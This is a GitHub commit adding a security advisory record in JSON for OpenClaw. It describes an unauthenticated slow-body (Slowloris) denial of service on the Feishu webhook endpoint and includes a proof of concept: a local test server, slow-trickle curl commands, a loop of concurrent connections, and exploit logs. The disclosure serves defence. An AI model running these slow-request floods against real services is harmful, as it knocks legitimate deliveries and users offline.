Skip to content

Commit ee26c95

Browse files
1 parent ef70a44 commit ee26c95

1 file changed

Lines changed: 59 additions & 0 deletions

File tree

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w6m8-cqvj-pg5v",
4+
"modified": "2026-03-30T18:32:03Z",
5+
"published": "2026-03-30T18:32:03Z",
6+
"aliases": [],
7+
"summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)",
8+
"details": "> Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension's webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB\n timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s\n responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK's `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n → Rate limit check: passes (under 120 req/min)\n → Content-Type check: application/json, passes\n → installRequestBodyLimitGuard(1MB, 30s): installed\n → Body trickles at 1 byte/sec for 30 seconds\n → × 50 concurrent connections = connection exhaustion\n → Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat > /tmp/feishu_webhook_server.js << 'EOF'\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n let done = false;\n const timer = setTimeout(() => {\n if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n }, timeoutMs);\n req.on(\"end\", () => { done = true; clearTimeout(timer); });\n req.on(\"close\", () => { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) => {\n if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n console.log(`[${req.url}] +conn`);\n bodyGuard(req, res, timeout);\n res.on(\"finish\", () => console.log(`[${req.url}] -conn`));\n}).listen(3000, () => console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js &\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability — slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n '{\"t\":\"'; sleep 10; echo '\"}') | \\\n curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n -X POST http://localhost:3000/feishu/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n '{\"t\":\"'; sleep 10; echo '\"}') | \\\n curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n -X POST http://localhost:3000/patched/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit — 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n (echo -n 'A'; sleep 15) | \\\n curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35 &\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n [conn-0] RESET after 8.0s (8B)\n [conn-1] RESET after 8.0s (8B)\n ...\n [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10) ← No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19) ← ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server's connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 × 1MB buffer) per attack wave\n\nThe attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: <= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) — should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284). |",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "openclaw"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.3.24"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/openclaw/openclaw"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-400"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-03-30T18:32:03Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)